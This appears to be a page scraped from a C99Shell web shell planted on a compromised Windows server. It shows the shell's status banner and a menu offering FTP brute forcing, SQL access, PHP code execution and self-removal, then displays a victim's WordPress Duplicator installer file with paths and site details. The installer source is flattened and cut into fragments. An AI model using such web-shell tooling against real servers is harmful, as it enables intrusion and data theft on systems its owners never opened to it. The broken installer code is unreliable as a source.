!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

C:\cumbreclima\   drwxrwxrwx
Free 4.13 GB of 39.52 GB (10.45%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     installer-backup.php (318.01 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
Error: PHP is not running

Error: PHP is not running

Duplicator requires that your web server is running PHP. Your server does not have PHP installed, or PHP is turned off.

'https://oldurl/', 'replace' => 'https://newurl/')); array_push($GLOBALS['REPLACE_LIST'], array('search' => 'ftps://oldurl/', 'replace' => 'ftps://newurl/')); ================================================================================================= */ $GLOBALS['FW_TABLEPREFIX'] = 'wp_'; $GLOBALS['FW_URL_OLD'] = 'http://garageink.com.co/cumbreclima'; $GLOBALS['FW_URL_NEW'] = ''; $GLOBALS['FW_PACKAGE_NAME'] = '20150617_cumbredelclima_5581e5c9a230b6420150617212529_archive.zip'; $GLOBALS['FW_PACKAGE_NOTES'] = ''; $GLOBALS['FW_SECURE_NAME'] = '20150617_cumbredelclima_5581e5c9a230b6420150617212529'; $GLOBALS['FW_DBHOST'] = ''; $GLOBALS['FW_DBHOST'] = empty($GLOBALS['FW_DBHOST']) ? 'localhost' : $GLOBALS['FW_DBHOST']; $GLOBALS['FW_DBPORT'] = ''; $GLOBALS['FW_DBPORT'] = empty($GLOBALS['FW_DBPORT']) ? 3306 : $GLOBALS['FW_DBPORT']; $GLOBALS['FW_DBNAME'] = ''; $GLOBALS['FW_DBUSER'] = ''; $GLOBALS['FW_DBPASS'] = ''; $GLOBALS['FW_SSL_ADMIN'] = 0; $GLOBALS['FW_SSL_LOGIN'] = 0; $GLOBALS['FW_CACHE_WP'] = 0; $GLOBALS['FW_CACHE_PATH'] = 0; $GLOBALS['FW_BLOGNAME'] = 'Cumbre del Clima'; $GLOBALS['FW_WPROOT'] = '/home/garagein/public_html/cumbreclima/'; $GLOBALS['FW_DUPLICATOR_VERSION'] = '0.5.22'; $GLOBALS['FW_OPTS_DELETE'] = json_decode('["duplicator_ui_view_state","duplicator_package_active","duplicator_settings"]', true); //DATABASE SETUP: all time in seconds $GLOBALS['DB_MAX_TIME'] = 5000; $GLOBALS['DB_MAX_PACKETS'] = 268435456; ini_set('mysql.connect_timeout', '5000'); //PHP SETUP: all time in seconds ini_set('memory_limit', '5000M'); ini_set("max_execution_time", '5000'); ini_set("max_input_time", '5000'); ini_set('default_socket_timeout', '5000'); @set_time_limit(0); $GLOBALS['DBCHARSET_DEFAULT'] = 'utf8'; $GLOBALS['DBCOLLATE_DEFAULT'] = 'utf8_general_ci'; //UPDATE TABLE SETTINGS $GLOBALS['TABLES_SKIP_COLS'] = array(''); $GLOBALS['REPLACE_LIST'] = array(); /* ================================================================================================ END ADVANCED FEATURES: Do not edit below here. =================================================================================================== */ //CONSTANTS define("DUPLICATOR_INIT", 1); define("DUPLICATOR_SSDIR_NAME", 'wp-snapshots'); //This should match DUPLICATOR_SSDIR_NAME in duplicator.php //SHARED POST PARMS $_POST['action_step'] = isset($_POST['action_step']) ? $_POST['action_step'] : "1"; /* Host has several combinations : localhost | localhost:55 | localhost: | http://localhost | http://localhost:55 */ $_POST['dbhost'] = isset($_POST['dbhost']) ? trim($_POST['dbhost']) : null; $_POST['dbport'] = isset($_POST['dbport']) ? trim($_POST['dbport']) : 3306; $_POST['dbuser'] = isset($_POST['dbuser']) ? trim($_POST['dbuser']) : null; $_POST['dbpass'] = isset($_POST['dbpass']) ? trim($_POST['dbpass']) : null; $_POST['dbname'] = isset($_POST['dbname']) ? trim($_POST['dbname']) : null; $_POST['dbcharset'] = isset($_POST['dbcharset']) ? trim($_POST['dbcharset']) : $GLOBALS['DBCHARSET_DEFAULT']; $_POST['dbcollate'] = isset($_POST['dbcollate']) ? trim($_POST['dbcollate']) : $GLOBALS['DBCOLLATE_DEFAULT']; //GLOBALS $GLOBALS["SQL_FILE_NAME"] = "installer-data.sql"; $GLOBALS["LOG_FILE_NAME"] = "installer-log.txt"; $GLOBALS['SEPERATOR1'] = str_repeat("********", 10); $GLOBALS['LOGGING'] = isset($_POST['logging']) ? $_POST['logging'] : 1; $GLOBALS['CURRENT_ROOT_PATH'] = dirname(__FILE__); $GLOBALS['CHOWN_ROOT_PATH'] = @chmod("{$GLOBALS['CURRENT_ROOT_PATH']}", 0755); $GLOBALS['CHOWN_LOG_PATH'] = @chmod("{$GLOBALS['CURRENT_ROOT_PATH']}/{$GLOBALS['LOG_FILE_NAME']}", 0644); $GLOBALS['URL_SSL'] = (isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] == 'on') ? true : false; $GLOBALS['URL_PATH'] = ($GLOBALS['URL_SSL']) ? "https://{$_SERVER['SERVER_NAME']}{$_SERVER['REQUEST_URI']}" : "http://{$_SERVER['SERVER_NAME']}{$_SERVER['REQUEST_URI']}"; //Restart log if user starts from step 1 if ($_POST['action_step'] == 1) { $GLOBALS['LOG_FILE_HANDLE'] = @fopen($GLOBALS['LOG_FILE_NAME'], "w+"); } else { $GLOBALS['LOG_FILE_HANDLE'] = @fopen($GLOBALS['LOG_FILE_NAME'], "a+"); } ?>
  • Empty this root directory except for the package and installer and try again.
  • Delete just the wp-config.php file and try again. This will over-write all other files in the directory.
  • '); define('ERR_ZIPNOTFOUND', 'The packaged zip file was not found. Be sure the zip package is in the same directory as the installer file. If you are trying to reinstall a package you can copy the package from the "' . DUPLICATOR_SSDIR_NAME . '" directory back up to your root which is the same location as your installer.php file.'); define('ERR_ZIPOPEN', 'Failed to open zip archive file. Please be sure the archive is completely downloaded before running the installer. Try to extract the archive manually to make sure the file is not corrupted.'); define('ERR_ZIPEXTRACTION', 'Errors extracting zip file. Portions or part of the zip archive did not extract correctly. Try to extract the archive manually with a client side program like unzip/win-zip/winrar to make sure the file is not corrupted. If the file extracts correctly then there is an invalid file or directory that PHP is unable to extract. This can happen if your moving from one operating system to another where certain naming conventions work on one environment and not another.

    Workarounds:
    1. Create a new package and be sure to exclude any directories that have invalid names or files in them. This warning will be displayed on the scan results under "Invalid Names".
    2. Manually extract the zip file with a client side program. Then under advanced options in step 1 of the installer check the "Manual package extraction" option and perform the install.'); define('ERR_ZIPMANUAL', 'When choosing manual package extraction, the contents of the package must already be extracted and the wp-config.php and database.sql files must be present in the same directory as the installer.php for the process to continue. Please manually extract the package into the current directory before continuing in manual extraction mode. Also validate that the wp-config.php and database.sql files are present.'); define('ERR_MAKELOG', 'PHP is having issues writing to the log file ' . DupUtil::set_safe_path($GLOBALS['CURRENT_ROOT_PATH']) . '\installer-log.txt . In order for the Duplicator to proceed validate your owner/group and permission settings for PHP on this path. Try temporarily setting you permissions to 777 to see if the issue gets resolved. If you are on a shared hosting environment please contact your hosting company and tell them you are getting errors writing files to the path above when using PHP.'); define('ERR_ZIPARCHIVE', 'In order to extract the archive.zip file the PHP ZipArchive module must be installed. Please read the FAQ for more details. You can still install this package but you will need to check the Manual package extraction checkbox found in the Advanced Options. Please read the online user guide for details in performing a manual package extraction.'); define('ERR_MYSQLI_SUPPORT', 'In order to complete an install the mysqli extension for PHP is required. If you are on a hosted server please contact your host and request that mysqli be enabled. For more information visit: http://php.net/manual/en/mysqli.installation.php'); define('ERR_DBCONNECT', 'DATABASE CONNECTION FAILED!
    '); define('ERR_DBCONNECT_CREATE', 'DATABASE CREATION FAILURE!
    Unable to create database "%s". Check to make sure the user has "Create" privileges. Some hosts will restrict creation of a database only through the cpanel. Try creating the database manually to proceed with installation. If the database already exists then check the radio button labeled "Connect and Remove All Data" which will remove all existing tables.'); define('ERR_DBTRYCLEAN', 'DATABASE CREATION FAILURE!
    Unable to remove all tables from database "%s".
    Please remove all tables from this database and try the installation again.'); define('ERR_DBCREATE', 'The database "%s" does not exists.
    Change mode to create in order to create a new database.'); define('ERR_DBEMPTY', 'The database "%s" has "%s" tables. The Duplicator only works with an EMPTY database. Enable the action "Connect and Remove All Data" radio button to remove all tables and or create a new database. Some hosting providers do not allow table removal from scripts. In this case you will need to login to your hosting providers control panel and remove the tables manually. Please contact your hosting provider for further details. Always backup all your data before proceeding!'); /** * ***************************************************** * DUPX_Log * Class used to log information */ class DUPX_Log { /** METHOD: LOG * Used to write debug info to the text log file * @param string $msg Any text data * @param int $loglevel Log level */ static public function Info($msg, $logging = 1) { if ($logging <= $GLOBALS["LOGGING"]) { @fwrite($GLOBALS["LOG_FILE_HANDLE"], "{$msg}\n"); } } static public function Error($errorMessage) { if ($logging <= $GLOBALS["LOGGING"]) { $breaks = array("
    ","
    ","
    "); $msg = str_ireplace($breaks, "\r\n", $errorMessage); @fwrite($GLOBALS["LOG_FILE_HANDLE"], "\nINSTALLER ERROR:\n{$msg}\n"); @fclose($GLOBALS["LOG_FILE_HANDLE"]); } die("
    INSTALL ERROR!
    {$errorMessage}

    "); } } ?> ='); case 'set_charset' : return version_compare($version, '5.0.7', '>='); }; return false; } /** * Sets the MySQL connection's character set. * @param resource $dbh The resource given by mysqli_connect * @param string $charset The character set (optional) * @param string $collate The collation (optional) */ static public function mysql_set_charset($dbh, $charset = null, $collate = null) { $charset = (!isset($charset) ) ? $GLOBALS['DBCHARSET_DEFAULT'] : $charset; $collate = (!isset($collate) ) ? $GLOBALS['DBCOLLATE_DEFAULT'] : $collate; if (self::mysql_has_ability($dbh, 'collation') && !empty($charset)) { if (function_exists('mysqli_set_charset') && self::mysql_has_ability($dbh, 'set_charset')) { return mysqli_set_charset($dbh, $charset); } else { $sql = " SET NAMES {$charset}"; if (!empty($collate)) $sql .= " COLLATE {$collate}"; return mysqli_query($dbh, $sql); } } } /** * READABLE_BYTESIZE * Display human readable byte sizes * @param string $size The size in bytes */ static public function readable_bytesize($size) { try { $units = array('B', 'KB', 'MB', 'GB', 'TB'); for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024; return round($size, 2) . $units[$i]; } catch (Exception $e) { return "n/a"; } } /** * PREG_REPLACEMENT_QUOTE * The characters that are special in the replacement value of preg_replace are not the * same characters that are special in the pattern * @param string $str The string to replace on */ static public function preg_replacement_quote($str) { return preg_replace('/(\$|\\\\)(?=\d)/', '\\\\\1', $str); } /** * IS_WEB_CONNECTED * Check to see if the internet is accessable * @param string $url A url e.g without prefix "ajax.googleapis.com" * @param string $port A valid port number * @return bool */ static public function is_url_active($url, $port) { if (function_exists('fsockopen')) { $port = isset($port) && is_integer($port) ? $port : 80; $connected = @fsockopen($url, $port); //website and port if ($connected){ $is_conn = true; @fclose($connected); } else { $is_conn = false; } return $is_conn; } else { return false; } } } ?> RewriteEngine On RewriteBase {$newpath} RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . {$newpath}index.php [L] # END WordPress HTACCESS; file_put_contents('.htaccess', $tmp_htaccess); @chmod('.htaccess', 0644); DUPX_Log::Info("created basic .htaccess file. If using IIS web.config this process will need to be done manually."); } } ?> 0) { while ($row = mysqli_fetch_assoc($result)) { $fields[] = $row['Field']; } } //Return Primary which is needed for index lookup $result = mysqli_query($conn, "SHOW INDEX FROM `{$table}` WHERE KEY_NAME LIKE '%PRIMARY%'"); if (mysqli_num_rows($result) > 0) { while ($row = mysqli_fetch_assoc($result)) { $fields[] = $row['Column_name']; } } return (count($fields) > 0) ? $fields : null; } /** * LOAD * Begins the processing for replace logic * @param mysql $conn The db connection object * @param array $list Key value pair of 'search' and 'replace' arrays * @param array $tables The tables we want to look at. * @return array Collection of information gathered during the run. */ static public function load($conn, $list = array(), $tables = array(), $cols = array(), $fullsearch = false) { $exclude_cols = $cols; $report = array('scan_tables' => 0, 'scan_rows' => 0, 'scan_cells' => 0, 'updt_tables' => 0, 'updt_rows' => 0, 'updt_cells' => 0, 'errsql' => array(), 'errser' => array(), 'errkey' => array(), 'errsql_sum' => 0, 'errser_sum' => 0, 'errkey_sum' => 0, 'time' => '', 'err_all' => 0); $walk_function = create_function('&$str', '$str = "`$str`";'); $profile_start = DupUtil::get_microtime(); if (is_array($tables) && !empty($tables)) { foreach ($tables as $table) { $report['scan_tables']++; $columns = array(); // Get a list of columns in this table $fields = mysqli_query($conn, 'DESCRIBE ' . $table); while ($column = mysqli_fetch_array($fields)) { $columns[$column['Field']] = $column['Key'] == 'PRI' ? true : false; } // Count the number of rows we have in the table if large we'll split into blocks $row_count = mysqli_query($conn, "SELECT COUNT(*) FROM `{$table}`"); $rows_result = mysqli_fetch_array($row_count); @mysqli_free_result($row_count); $row_count = $rows_result[0]; if ($row_count == 0) { DUPX_Log::Info("{$table}^ ({$row_count})"); continue; } $page_size = 25000; $offset = ($page_size + 1); $pages = ceil($row_count / $page_size); // Grab the columns of the table. Only grab text based columns because // they are the only data types that should allow any type of search/replace logic $colList = '*'; $colMsg = '*'; if (! $fullsearch) { $colList = self::getTextColumns($conn, $table); if ($colList != null && is_array($colList)) { array_walk($colList, $walk_function); $colList = implode(',', $colList); } $colMsg = (empty($colList)) ? '*' : '~'; } if (empty($colList)) { DUPX_Log::Info("{$table}^ ({$row_count})"); continue; } else { DUPX_Log::Info("{$table}{$colMsg} ({$row_count})"); } //Paged Records for ($page = 0; $page < $pages; $page++) { $current_row = 0; $start = $page * $page_size; $end = $start + $page_size; $sql = sprintf("SELECT {$colList} FROM `%s` LIMIT %d, %d", $table, $start, $offset); $data = mysqli_query($conn, $sql); if (!$data) $report['errsql'][] = mysqli_error($conn); $scan_count = ($row_count < $end) ? $row_count : $end; DUPX_Log::Info("\tScan => {$start} of {$scan_count}", 2); //DEBUG ONLY: //DUPX_Log::Info("\t{$sql}", 3); //Loops every row while ($row = mysqli_fetch_array($data)) { $report['scan_rows']++; $current_row++; $upd_col = array(); $upd_sql = array(); $where_sql = array(); $upd = false; $serial_err = 0; //Loops every cell foreach ($columns as $column => $primary_key) { if (in_array($column, $exclude_cols)) { continue; } $report['scan_cells']++; $edited_data = $data_to_fix = $row[$column]; $base64coverted = false; //Only replacing string values if (!empty($row[$column]) && !is_numeric($row[$column])) { //Base 64 detection if (base64_decode($row[$column], true)) { $decoded = base64_decode($row[$column], true); if (self::is_serialized($decoded)) { $edited_data = $decoded; $base64coverted = true; } } //Replace logic - level 1: simple check on basic serilized strings foreach ($list as $item) { $edited_data = self::recursive_unserialize_replace($item['search'], $item['replace'], $edited_data); } //Replace logic - level 2: repair larger/complex serilized strings $serial_check = self::fix_serial_string($edited_data); if ($serial_check['fixed']) { $edited_data = $serial_check['data']; } elseif ($serial_check['tried'] && !$serial_check['fixed']) { $serial_err++; } } //Change was made if ($edited_data != $data_to_fix || $serial_err > 0) { $report['updt_cells']++; //Base 64 encode if ($base64coverted) { $edited_data = base64_encode($edited_data); } $upd_col[] = $column; $upd_sql[] = $column . ' = "' . mysqli_real_escape_string($conn, $edited_data) . '"'; $upd = true; } if ($primary_key) { $where_sql[] = $column . ' = "' . mysqli_real_escape_string($conn, $data_to_fix) . '"'; } } //PERFORM ROW UPDATE if ($upd && !empty($where_sql)) { $sql = "UPDATE `{$table}` SET " . implode(', ', $upd_sql) . ' WHERE ' . implode(' AND ', array_filter($where_sql)); $result = mysqli_query($conn, $sql) or $report['errsql'][] = mysqli_error($conn); //DEBUG ONLY: DUPX_Log::Info("\t{$sql}", 3); if ($result) { if ($serial_err > 0) { $report['errser'][] = "SELECT " . implode(', ', $upd_col) . " FROM `{$table}` WHERE " . implode(' AND ', array_filter($where_sql)) . ';'; } $report['updt_rows']++; } } elseif ($upd) { $report['errkey'][] = sprintf("Row [%s] on Table [%s] requires a manual update.", $current_row, $table); } } DupUtil::fcgi_flush(); @mysqli_free_result($data); } if ($upd) { $report['updt_tables']++; } } } $profile_end = DupUtil::get_microtime(); $report['time'] = DupUtil::elapsed_time($profile_end, $profile_start); $report['errsql_sum'] = empty($report['errsql']) ? 0 : count($report['errsql']); $report['errser_sum'] = empty($report['errser']) ? 0 : count($report['errser']); $report['errkey_sum'] = empty($report['errkey']) ? 0 : count($report['errkey']); $report['err_all'] = $report['errsql_sum'] + $report['errser_sum'] + $report['errkey_sum']; return $report; } /** * Take a serialised array and unserialise it replacing elements and * unserialising any subordinate arrays and performing the replace. * @param string $from String we're looking to replace. * @param string $to What we want it to be replaced with * @param array $data Used to pass any subordinate arrays back to in. * @param bool $serialised Does the array passed via $data need serialising. * @return array The original array with all elements replaced as needed. */ static private function recursive_unserialize_replace($from = '', $to = '', $data = '', $serialised = false) { // some unseriliased data cannot be re-serialised eg. SimpleXMLElements try { if (is_string($data) && ($unserialized = @unserialize($data)) !== false) { $data = self::recursive_unserialize_replace($from, $to, $unserialized, true); } elseif (is_array($data)) { $_tmp = array(); foreach ($data as $key => $value) { $_tmp[$key] = self::recursive_unserialize_replace($from, $to, $value, false); } $data = $_tmp; unset($_tmp); } elseif (is_object($data)) { $dataClass = get_class($data); $_tmp = new $dataClass(); foreach ($data as $key => $value) { $_tmp->$key = self::recursive_unserialize_replace($from, $to, $value, false); } $data = $_tmp; unset($_tmp); } else { if (is_string($data)) { $data = str_replace($from, $to, $data); } } if ($serialised) return serialize($data); } catch (Exception $error) { DUPX_Log::Info("\nRECURSIVE UNSERIALIZE ERROR: With string\n" . $error, 2); } return $data; } /** * IS_SERIALIZED * Test if a string in properly serialized */ static public function is_serialized($data) { $test = @unserialize(($data)); return ($test !== false || $test === 'b:0;') ? true : false; } /** * FIX_STRING * Fixes the string length of a string object that has been serialized but the length is broken * @param string $data The string ojbect to recalculate the size on. * @return */ static private function fix_serial_string($data) { $result = array('data' => $data, 'fixed' => false, 'tried' => false); if (preg_match("/s:[0-9]+:/", $data)) { if (!self::is_serialized($data)) { $regex = '!(?<=^|;)s:(\d+)(?=:"(.*?)";(?:}|a:|s:|b:|d:|i:|o:|N;))!s'; $serial_string = preg_match('/^s:[0-9]+:"(.*$)/s', trim($data), $matches); //Nested serial string if ($serial_string) { $inner = preg_replace_callback($regex, 'DupDBTextSwap::fix_string_callback', rtrim($matches[1], '";')); $serialized_fixed = 's:' . strlen($inner) . ':"' . $inner . '";'; } else { $serialized_fixed = preg_replace_callback($regex, 'DupDBTextSwap::fix_string_callback', $data); } if (self::is_serialized($serialized_fixed)) { $result['data'] = $serialized_fixed; $result['fixed'] = true; } $result['tried'] = true; } } return $result; } static private function fix_string_callback($matches) { return 's:' . strlen(($matches[2])); } } ?> Success" : "
    Fail
    "; $tstDB = ($dbFound) ? "
    Success
    " : "
    Fail
    "; $html .= "
    "; $html .= "Using Connection String:
    Host={$_POST['dbhost']}; Database={$_POST['dbname']}; Uid={$_POST['dbuser']}; Pwd={$_POST['dbpass']}; {$port_view}
    "; $html .= " {$tstSrv}
    "; $html .= " {$tstDB}
    "; if ($_POST['dbaction'] == 'create'){ $tblcount = DupUtil::dbtable_count($dbConn, $_POST['dbname']); $html .= ($tblcount > 0) ? "
    WARNING

    " . sprintf(ERR_DBEMPTY, $_POST['dbname'], $tblcount) : ""; } $html .= "
    "; die($html); } //=============================== //ERROR MESSAGES //=============================== //ERR_MAKELOG ($GLOBALS['LOG_FILE_HANDLE'] != false) or DUPX_Log::Error(ERR_MAKELOG); //ERR_MYSQLI_SUPPORT function_exists('mysqli_connect') or DUPX_Log::Error(ERR_MYSQLI_SUPPORT); //ERR_DBCONNECT $dbh = DupUtil::db_connect($_POST['dbhost'], $_POST['dbuser'], $_POST['dbpass'], null, $_POST['dbport']); ($dbh) or DUPX_Log::Error(ERR_DBCONNECT . mysqli_connect_error()); if ($_POST['dbaction'] == 'empty') { mysqli_select_db($dbh, $_POST['dbname']) or DUPX_Log::Error(sprintf(ERR_DBCREATE, $_POST['dbname'])); } //ERR_DBEMPTY if ($_POST['dbaction'] == 'create' ) { $tblcount = DupUtil::dbtable_count($dbh, $_POST['dbname']); if ($tblcount > 0) { DUPX_Log::Error(sprintf(ERR_DBEMPTY, $_POST['dbname'], $tblcount)); } } //ERR_ZIPMANUAL if ($_POST['zip_manual']) { if (!file_exists("wp-config.php") && !file_exists("database.sql")) { DUPX_Log::Error(ERR_ZIPMANUAL); } } else { //ERR_CONFIG_FOUND (!file_exists('wp-config.php')) or DUPX_Log::Error(ERR_CONFIG_FOUND); //ERR_ZIPNOTFOUND (is_readable("{$package_path}")) or DUPX_Log::Error(ERR_ZIPNOTFOUND); } DUPX_Log::Info("********************************************************************************"); DUPX_Log::Info('DUPLICATOR INSTALL-LOG'); DUPX_Log::Info('STEP1 START @ ' . @date('h:i:s')); DUPX_Log::Info('NOTICE: Do NOT post to public sites or forums'); DUPX_Log::Info("********************************************************************************"); DUPX_Log::Info("VERSION:\t{$GLOBALS['FW_DUPLICATOR_VERSION']}"); DUPX_Log::Info("PHP:\t\t" . phpversion() . ' | SAPI: ' . php_sapi_name()); DUPX_Log::Info("SERVER:\t\t{$_SERVER['SERVER_SOFTWARE']}"); DUPX_Log::Info("DOC ROOT:\t{$root_path}"); DUPX_Log::Info("DOC ROOT 755:\t" . var_export($GLOBALS['CHOWN_ROOT_PATH'], true)); DUPX_Log::Info("LOG FILE 644:\t" . var_export($GLOBALS['CHOWN_LOG_PATH'], true)); DUPX_Log::Info("BUILD NAME:\t{$GLOBALS['FW_SECURE_NAME']}"); DUPX_Log::Info("REQUEST URL:\t{$GLOBALS['URL_PATH']}"); $log = "--------------------------------------\n"; $log .= "POST DATA\n"; $log .= "--------------------------------------\n"; $log .= print_r($POST_LOG, true); DUPX_Log::Info($log, 2); //==================================================================================================== //UNZIP & FILE SETUP - Extract the zip file and prep files //==================================================================================================== $log = "\n********************************************************************************\n"; $log .= "ARCHIVE SETUP\n"; $log .= "********************************************************************************\n"; $log .= "NAME:\t{$_POST['package_name']}\n"; $log .= "SIZE:\t" . DupUtil::readable_bytesize(@filesize($_POST['package_name'])) . "\n"; $log .= "ZIP:\t{$zip_support} (ZipArchive Support)"; DUPX_Log::Info($log); $zip_start = DupUtil::get_microtime(); if ($_POST['zip_manual']) { DUPX_Log::Info("\n** PACKAGE EXTRACTION IS IN MANUAL MODE ** \n"); } else { if ($GLOBALS['FW_PACKAGE_NAME'] != $_POST['package_name']) { $log = "\n--------------------------------------\n"; $log .= "WARNING: This package set may be incompatible! \nBelow is a summary of the package this installer was built with and the package used. \n"; $log .= "To guarantee accuracy the installer and archive should match. For details see the online FAQs."; $log .= "\nCREATED WITH:\t{$GLOBALS['FW_PACKAGE_NAME']} \nPROCESSED WITH:\t{$_POST['package_name']} \n"; $log .= "--------------------------------------\n"; DUPX_Log::Info($log); } if (! class_exists('ZipArchive')) { DUPX_Log::Info("ERROR: Stopping install process. Trying to extract without ZipArchive module installed. Please use the 'Manual Package extraction' mode to extract zip file."); DUPX_Log::Error(ERR_ZIPARCHIVE); } $target = $root_path; $zip = new ZipArchive(); if ($zip->open($_POST['package_name']) === TRUE) { DUPX_Log::Info("EXTRACTING"); if (! $zip->extractTo($target)) { DUPX_Log::Error(ERR_ZIPEXTRACTION); } $log = print_r($zip, true); $close_response = $zip->close(); $log .= "COMPLETE: " . var_export($close_response, true); DUPX_Log::Info($log); } else { DUPX_Log::Error(ERR_ZIPOPEN); } $zip = null; } //=============================== //WP-CONFIG: wp-config //=============================== $wpconfig = @file_get_contents('wp-config.php', true); $patterns = array( "/'DB_NAME',\s*'.*?'/", "/'DB_USER',\s*'.*?'/", "/'DB_PASSWORD',\s*'.*?'/", "/'DB_HOST',\s*'.*?'/"); $db_host = ($_POST['dbport'] == 3306) ? $_POST['dbhost'] : "{$_POST['dbhost']}:{$_POST['dbport']}"; $replace = array( "'DB_NAME', " . '\'' . $_POST['dbname'] . '\'', "'DB_USER', " . '\'' . $_POST['dbuser'] . '\'', "'DB_PASSWORD', " . '\'' . DupUtil::preg_replacement_quote($_POST['dbpass']) . '\'', "'DB_HOST', " . '\'' . $db_host . '\''); //SSL CHECKS if ($_POST['ssl_admin']) { if (! strstr($wpconfig, 'FORCE_SSL_ADMIN')) { $wpconfig = $wpconfig . PHP_EOL . "define('FORCE_SSL_ADMIN', true);"; } } else { array_push($patterns, "/'FORCE_SSL_ADMIN',\s*true/"); array_push($replace, "'FORCE_SSL_ADMIN', false"); } if ($_POST['ssl_login']) { if (! strstr($wpconfig, 'FORCE_SSL_LOGIN')) { $wpconfig = $wpconfig . PHP_EOL . "define('FORCE_SSL_LOGIN', true);"; } } else { array_push($patterns, "/'FORCE_SSL_LOGIN',\s*true/"); array_push($replace, "'FORCE_SSL_LOGIN', false"); } //CACHE CHECKS if ($_POST['cache_wp']) { if (! strstr($wpconfig, 'WP_CACHE')) { $wpconfig = $wpconfig . PHP_EOL . "define('WP_CACHE', true);"; } } else { array_push($patterns, "/'WP_CACHE',\s*true/"); array_push($replace, "'WP_CACHE', false"); } if (! $_POST['cache_path']) { array_push($patterns, "/'WPCACHEHOME',\s*'.*?'/"); array_push($replace, "'WPCACHEHOME', ''"); } $wpconfig = preg_replace($patterns, $replace, $wpconfig); file_put_contents('wp-config.php', $wpconfig); $wpconfig = null; //CONFIG FILE RESETS DUPX_Config::Reset(); //=============================== //DATABASE SCRIPT //=============================== @chmod("{$root_path}/database.sql", 0777); $sql_file = @file_get_contents('database.sql', true); if ($sql_file == false || strlen($sql_file) < 10) { $sql_file = file_get_contents('installer-data.sql', true); if ($sql_file == false || strlen($sql_file) < 10) { DUPX_Log::Info("ERROR: Unable to read from the extracted database.sql file .\nValidate the permissions and/or group-owner rights on directory '{$root_path}'\n"); } } //Complex Subject See: http://webcollab.sourceforge.net/unicode.html //Removes invalid space characters if ($_POST['dbnbsp']) { DUPX_Log::Info("ran fix non-breaking space characters\n"); $sql_file = preg_replace('/\xC2\xA0/', ' ', $sql_file); } //Write new contents to install-data.sql @chmod($sql_result_file_path, 0777); file_put_contents($GLOBALS['SQL_FILE_NAME'], $sql_file); $sql_result_file_data = explode(";\n", $sql_file); $sql_result_file_length = count($sql_result_file_data); $sql_result_file_path = "{$root_path}/{$GLOBALS['SQL_FILE_NAME']}"; $sql_file = null; if (!is_readable($sql_result_file_path) || filesize($sql_result_file_path) == 0) { DUPX_Log::Info("ERROR: Unable to create new sql file {$GLOBALS['SQL_FILE_NAME']}.\nValidate the permissions and/or group-owner rights on directory '{$root_path}' and file '{$GLOBALS['SQL_FILE_NAME']}'\n"); } DUPX_Log::Info("\nUPDATED FILES:"); DUPX_Log::Info("- SQL FILE: '{$sql_result_file_path}'"); DUPX_Log::Info("- WP-CONFIG: '{$root_path}/wp-config.php'"); $zip_end = DupUtil::get_microtime(); DUPX_Log::Info("\nARCHIVE RUNTIME: " . DupUtil::elapsed_time($zip_end, $zip_start)); DUPX_Log::Info("\n"); DupUtil::fcgi_flush(); //==================================================================================================== //DATABASE ROUTINES //==================================================================================================== @mysqli_query($dbh, "SET wait_timeout = {$GLOBALS['DB_MAX_TIME']}"); @mysqli_query($dbh, "SET max_allowed_packet = {$GLOBALS['DB_MAX_PACKETS']}"); DupUtil::mysql_set_charset($dbh, $_POST['dbcharset'], $_POST['dbcollate']); //Set defaults incase the variable could not be read $dbvar_maxtime = DupUtil::mysql_variable_value($dbh, 'wait_timeout'); $dbvar_maxpacks = DupUtil::mysql_variable_value($dbh, 'max_allowed_packet'); $dbvar_maxtime = is_null($dbvar_maxtime) ? 300 : $dbvar_maxtime; $dbvar_maxpacks = is_null($dbvar_maxpacks) ? 1048576 : $dbvar_maxpacks; DUPX_Log::Info("{$GLOBALS['SEPERATOR1']}"); DUPX_Log::Info('DATABASE-ROUTINES'); DUPX_Log::Info("{$GLOBALS['SEPERATOR1']}"); DUPX_Log::Info("--------------------------------------"); DUPX_Log::Info("SERVER ENVIROMENT"); DUPX_Log::Info("--------------------------------------"); DUPX_Log::Info("MYSQL VERSION:\t" . mysqli_get_server_info($dbh)); DUPX_Log::Info("TIMEOUT:\t{$dbvar_maxtime}"); DUPX_Log::Info("MAXPACK:\t{$dbvar_maxpacks}"); //CREATE DB switch ($_POST['dbaction']) { case "create": mysqli_query($dbh, "CREATE DATABASE IF NOT EXISTS `{$_POST['dbname']}`"); mysqli_select_db($dbh, $_POST['dbname']) or DUPX_Log::Error(sprintf(ERR_DBCONNECT_CREATE, $_POST['dbname'])); break; case "empty": //DROP DB TABLES $drop_log = "Database already empty. Ready for install."; $sql = "SHOW TABLES FROM `{$_POST['dbname']}`"; $found_tables = null; if ($result = mysqli_query($dbh, $sql)) { while ($row = mysqli_fetch_row($result)) { $found_tables[] = $row[0]; } if (count($found_tables) > 0) { foreach ($found_tables as $table_name) { $sql = "DROP TABLE `{$_POST['dbname']}`.`{$table_name}`"; if (!$result = mysqli_query($dbh, $sql)) { DUPX_Log::Error(sprintf(ERR_DBTRYCLEAN, $_POST['dbname'])); } } } $drop_log = 'removed (' . count($found_tables) . ') tables'; } break; } //WRITE DATA DUPX_Log::Info("--------------------------------------"); DUPX_Log::Info("DATABASE RESULTS"); DUPX_Log::Info("--------------------------------------"); $profile_start = DupUtil::get_microtime(); $fcgi_buffer_pool = 5000; $fcgi_buffer_count = 0; $dbquery_rows = 0; $dbtable_rows = 1; $dbquery_errs = 0; $counter = 0; @mysqli_autocommit($dbh, false); while ($counter < $sql_result_file_length) { $query_strlen = strlen(trim($sql_result_file_data[$counter])); if ($dbvar_maxpacks < $query_strlen) { DUPX_Log::Info("**ERROR** Query size limit [length={$query_strlen}] [sql=" . substr($sql_result_file_data[$counter], 75) . "...]"); $dbquery_errs++; } 